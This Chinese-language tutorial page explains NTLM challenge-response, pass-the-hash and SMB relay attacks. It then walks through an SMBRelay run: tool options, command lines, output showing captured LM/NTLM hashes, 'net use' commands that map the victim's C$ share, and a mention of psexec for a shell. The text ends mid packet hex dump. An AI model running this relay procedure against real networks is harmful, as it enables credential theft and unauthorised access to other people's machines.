浅谈smb会话劫持具体实现 - 黑客教学安全防线 - 安全技术

假如A机器试图访问B机器某共享资源的时候，A机器会发送当前登陆的用户名和密码，由B机器进行验证，此时B机器会随机产生8字节的挑战（Challenge），送往A机，A用源自明文口令的DESKEY对挑战进行标准DES加密得到响应，并发往B，B从SAM中获取A发送的用户名的LM Hash、NTLM Hash，计算出DESKEY，并对前面发往A的挑战进行标准DES加密，如果双方比较结果一致，那么就算通过验证。如果这次的验证无法成功，才会提醒用户输入用户名和密码，也就是我们常见的验证框。由用户填入用户名和密码后再用同样的方式进行下一轮的加密--验证

（注意：这里的会话机制仅限于NT，2K，如果98，WINME向2K或者NT提出请求的话，你是无法选择用户名的，默认的用户名就是你当前登陆名）

我们先来看看SMBPROXY工作原理，因为PWDUMP截取的文件里后面一排就是NTLM HASH，这里的HASH直接进行DES加密--发送--验证，省去了明文口令加密的那一步，所以，实际上就不需要获取什么明文口令了

下面就是工作图例：

Legend: H：把明文口令加密的算法

E DES 加密算法

D Decryption

P 是明文口令

S=H（P）明文口令加密后的HASH，贮存在SAM中，

N 挑战

A 客户端

B 服务器

Windows NT/2000 login:

1. A=>B: 发出请求

2. B=>A: N

3. A=>B: E(N,H(P))

服务器检查的是S=D(N,E(N,H(P))) 或者 E(N,S)=E(N,H(P)).

事实上，S我们是可以通过PWDUMP获得的，也就是说，P已经不需要暴力破解了

Windows NT/2000 "passing the hash":

1. A=>B: 发出请求.

2. B=>A: N

3. A=>B: E(N,S)

发送S=D(N,E(N,S)) 则必然可以通过主机验证，我们此时就是你发送S的用户身份，如果你发送的是管理员的

S值，你就是管理员！

在谈SMBRELAY之前我们先看看下面的一段文档

1997年2月6日，Dominique Brezinski <dominique.brezinski@CyberSafe.COM>对外

发布了一份关于Windows NT身份验证机制脆弱性的文档

假设有主机B与A

(1) A向B发起连接请求

(2) B向A发送挑战(一组随机数据，8字节)

(3) A用源自明文口令的DESKEY对挑战进行标准DES加密得到响应，并发往B

(4) B从SAM中获取A的LM Hash、NTLM Hash，计算出DESKEY，并对前面发往A的挑战进

行标准DES加密

(5) 如果(4)中计算结果与A送过来的响应匹配，A被允许访问B

现在假设一个攻击者C卷入其中

(1) C向B发起连接请求

(2) B向C发送挑战D(一组随机数据)

(3) C等待A向B发起连接请求

(4) 当A向B发起连接请求时，C伪造成B向A发送挑战D

(5) A用源自明文口令的DESKEY对挑战D进行标准DES加密得到响应E，并发往B

(6) C截获到响应E，将它做为针对(2)中挑战D的响应发往B，并声称自己是A

(7) B从SAM中获取A的LM Hash、NTLM Hash，计算出DESKEY，并对挑战D进行标准DES

加密

(8) 如果(7)中计算结果与C送过来的响应匹配，C被允许以A的身份访问B。

在今天，如果攻击者只是采用一般的旁者嗅探方式，嗅探得到的HASH中，LM CLI-CHALL无法得到（全为0），哪怕自己的地位是SMB SERVER！这里，我给出2种情况让大家比较

第一种情况：我自己做为SMB SERVER ，由其他机器充当客户的角色访问我的共享资源所抓到的一段数据

Administrator:"":"":5FA055E5F1819F2900000000000000000000000000000000:FACEAAE8DD420A0EA8EBB15B6FC499CF38B0C5B3B616FE38:D29F5CC5DC662A91

这是一段嗅探到的不完整的加密数据，由于LM CLI-CHALL没有能够获取到，所以也就无法被我们利用。

第2种情况：如果我们自己充当CLI，向SMB SERVER发出请求

Administrator:"":"":89E5E3F54A998398DC36E89DDD37334C801201CA39C9A5D3:8457623684F27A5EFA5FE7B647E87C36D78616F80594123C:E3A96FF4507B9EDF

这里就比较完整了，如果倒入LC4破解，最终得到的就是我自己的口令。

事实上，为什么SMBRELAY工作的时候我们能获取到完整的机密数据，包括LN HASH，NT HASH，NT SERV-CHALL，LM CLI-CHALL？原因在于攻击者欺骗了SERV和CLI双方，担任了所有数据的转发。这个时候，就属于第2种情况，我们就能抓到CLI发送给SER的可破解HASH。

下面先简单介绍一下SMBRELAY的工作原理：

预定一下：A是攻击者，TS是SMB服务器，TC是客户机。A开始对双方进行欺骗。

1：TC企图访问TS的共享资源的时候，他先连接的是A

2：A向TS发送一个企图访问的请求

3：TS给予确认，允许连接

4：A假装成TS，发送一个允许连接的确认回应TC，而此时的A则再假装成TC，向TS询问：“would you like to talk to me as if I'm an NT 4 box without extended security？”（一种不安全的会话机制，简称为J会话）

5：TS允许A的请求，随机产生挑战，发送给A

6：A则对TC使用J对话方式，并且发送一组挑战

6：TC随即用A发送来的挑战对当前用户名和密码进行加密，发送给A

7：A将数据转交给TS

8：TS表示验证通过

9：A断开与TC的连接，直接以TC的身份与TS会话，这时候，A就可以与TS进行IPC连接，映射硬盘，甚至获取 SHELL

SMBRELAY所做的工作，就是通过NAT（Network Address Translator）或者iptables对数据进行了重定向，

并且将TS的139端口绑向TC，所以我们后来映射TS的硬盘时，实际上却是TC的硬盘。这也是运行SMBRELAY的

主机139端口不能被占用的原因。

为了更好的理解其工作流程，我们可以结合一次攻击过程来分析

先详细介绍一下SMBRELAY的用法吧

用法：SMBRELAY [选项]

/D NUM --设置调试登级，可以选择0，1，2。默认是0

/E --列举本机网卡的接口，转发数据的时候，如果这里没选择好，可能什么都抓不到

/IL NUM --设定在添加本地IP地址时，使用的网卡接口号。

/IR NUM --设定在添加代理IP地址（就像使用了smbporxy的那种IP地址）时，使用的网卡接口号。默认是1 你可以使用/E参数来列举网卡的接口号。

/L[+] IP --设定要接收NetBIOS信息的本地IP地址。使用+是为了设置第一次在NIC（网络接口卡）中添加的 IP地址，默认是使用本机的当前IP地址。

/R[-] IP --设定代理IP地址的起始端。使用-是为了设置第一次在NIC（网络接口卡）中添加的IP地址，默认是使用192.1.1.1

/S name --设定原始机器（诱饵IP）的名字，默认是CDC4EVER

必须注意的地方：

1：在win2k上，如果系统一直使用139端口，SMBRelay将不能正常的工作---绑定到139端口，因为Microsoft有自己的一套系统自我保护的制度。解决这个问题的最简单的方法就是使用/L+参数来建立一个新的IP地址在我们自己的NIC（网络接口卡），并且你的目标将先连接这个新建的IP，而不是你的真正IP。另外一种方法是在控制版面中手动添加一个IP地址，然后使用/L来指定使用这个IP地址。

2：如果可以的话，SMBRelay将绑定系统的139端口，但是并不是说能够正确绑定就能够正确的接收连接信息。当SMBRelay绑定139端口时，如果系统存在任何的139端口的连接（包括TIME_WAIT状态的），它将很有可能不能够正常工作。win98下则不会接收到任何的连接信息。在Windows NT下，SMBRelay也可能是只能够接收到部分连接信息。就因为这个，我经常执行了几个SMBRelay，用以增加得到信息的可能性。在Windows 2000下，如果系统正在使用将不允许SMBRelay的绑入。

3：在你电脑上建立新的IP地址的时候，你必须特别注意的是在使用/IR或/IL参数时，你应该指定的使用的网卡接口号。使用/E参数来列举网卡接口，和他们的参数。在NT系统中，网卡接口号很简单；在win2k中，他们使用稿字节，所以使用16进制数来表示。如果你不使用/IR参数来设置代理的网络接口（IP地址）时，默认是使用1号网络接口，这将造成只能够使用你的系统来连接的结果。

下面我们就来看看SMBRELAY的某次工作流程

说明：：这次攻击过程虽然只需要2台机器，实际上采用了3个IP，构成了中间人攻击的条件

关于IP地址的说明：

我的IP是11.197.248.212，可是SMBRELAY无法运行在这个IP上，因为只有禁用了139端口才能运行SMBRELAY，可是一旦139被禁用，也就无法用NET USE \\IP连接TS。11.197.248.154是一个未被使用的IP地址，我用SBRELAY

虚拟出一个SMB SERVER：11.197.248.154，测试的时候，实际上是

249（受害机器-TC）----212（攻击者-A）----154（SMB服务器-TS）

---------------------------------------------------------------------

D:\>smbrelay.exe /IL 2 /IR 2 /L+ 11.197.248.154 /R- 11.197.248.154

/*这里把代理IP指定154，所以下面映射的时候指定IP为154*/

SMBRelay v0.981 - TCP (NetBT) level SMB man-in-the-middle relay attack

Send complaints, ideas and donations to sirdystic@cultdeadcow.com

Using local adapter index 2: PCI Bus Master Adapter

Local IP address added to interface 2

Bound to port 139 on address 11.197.248.154

Connection from 12.114.28.249:1915 /*这里249向154发起请求*/

Request type: Session Request 72 bytes

Source name: VODSER <00>

Target name: *SMBSERVER <20>

Setting target name to source name and source name to 'CDC4EVER'...

Response: Positive Session Response 4 bytes

Request type: Session Message 137 bytes

SMB_COM_NEGOTIATE

Response: Session Message 115 bytes

Challenge (8 bytes): 33C0E036880693BB /*249向154发出的挑战*/

Request type: Session Message 290 bytes

SMB_COM_SESSION_SETUP_ANDX

Password lengths: 24 24

Case insensitive password: FA31DD7DA7659D4DB6273B2AC9AF9FCCEA912F843B5A1874 /*LM HASH*/

Case sensitive password: E53DFF557C5E7C37FD34FB5FD959CC26DB335F4C2AB44585 /*NTLM HSHA*/

Username: "UUSER_VODSER"

Domain: "VODSER"

OS: "Windows 2000 2195"

Lanman type: "Windows 2000 5.0"

???: ""

Response: Session Message 154 bytes

OS: "Windows 5.0"

Lanman type: "Windows 2000 LAN Manager"

Domain: "WORKGROUP"

/*到了这里，由于212成功的充当了中间人的角色，所以获取了所有敏感信息，包括249的Challenge，LM HASH ，NTLM HASH，3个要素全部抓取，已经可以导入LC4破解了*/

Password hash written to disk

/*用户名和破解需要的3组数据被完整保留到硬盘*/

Connected?

Bound to port 139 on address 11.197.248.154 relaying for host VODSER 12.114.28

.249

--------------------------------------------------------------------------------

这里154的139端口实际上绑向249，我们已经能够与154成功建立连接，实际上是连向的249

这个时候，我们就可以不需要密码向154建立IPC连接，身份当然是249登陆用户的，如果映射154的硬盘，

实际上也是指向249，

-------------------------------------------------------------

开启另外一个CMD，输入：

E:\>net use \\11.197.248.154

命令成功完成。

E:\>net use h: \\11.197.248.154\c$

命令成功完成。

-----------------------------------------------------

下面是SMBRELAY的显示：

Connection rejected: 12.114.28.249 already connected

*** Relay connection for target VODSER received from 11.197.248.212:1615

*** Sent positive session response for relay target VODSER

*** Sent dialect selection response (5) for target VODSER

*** Sent SMB Session setup response for relay to VODSER

这时候，本机上的H盘就是映射的249的C盘

至此，一次完整的中间人攻击完成。当然，如果对方ADMIN$是打开的，我们还可以用psexec获得SHELL

个人测试的时候，由于机器情况的不同，这里的命令输入可能也是有差距的。

下面是操作中用IRIS抓取的部分数据包，由于212与154在同一个机器上，所以他们之间的数据通讯我们无法抓取的，不过212参与其中数据转发的过程还是可以被记录下来的

先是249向154提出会话请求，那些包没有什么实质内容，省略。。

这里249开始发出挑战

249----->154

00 00 E8 7B CA 4E 00 08 E3 08 43 0B 08 00 45 00 ...{.N....C...E.

00 70 FC 89 40 00 7C 06 54 45 CA 72 0F F1 DA C5 .p..@.|.TE.r....

F8 8F 10 38 00 8B 53 28 E2 07 D2 43 19 3E 50 18 ...8..S(...C.>P.

44 70 46 19 00 00 81 00 00 44 20 43 4B 46 44 45 DpF......D CKFDE

4E 45 43 46 44 45 46 46 43 46 47 45 46 46 43 43 NECFDEFFCFGEFFCC

41 43 41 43 41 43 41 43 41 43 41 00 20 45 48 46 ACACACACACA. EHF

44 43 4E 45 4B 45 47 44 41 44 43 43 41 43 41 43 DCNEKEGDADCCACAC

41 43 41 43 41 43 41 43 41 43 41 41 41 00 ACACACACACAAA.

212----->249

249----->212

212----->249 （一些无关的会话内容我会省略）

212----->249

00 08 E3 08 43 0B 00 00 E8 7B CA 4E 08 00 45 00 ....C....{.N..E.

00 70 08 7C 40 00 80 06 44 69 DA C5 F8 79 CA 72 .p.|@.

【返回顶部】【打印本页】【关闭窗口】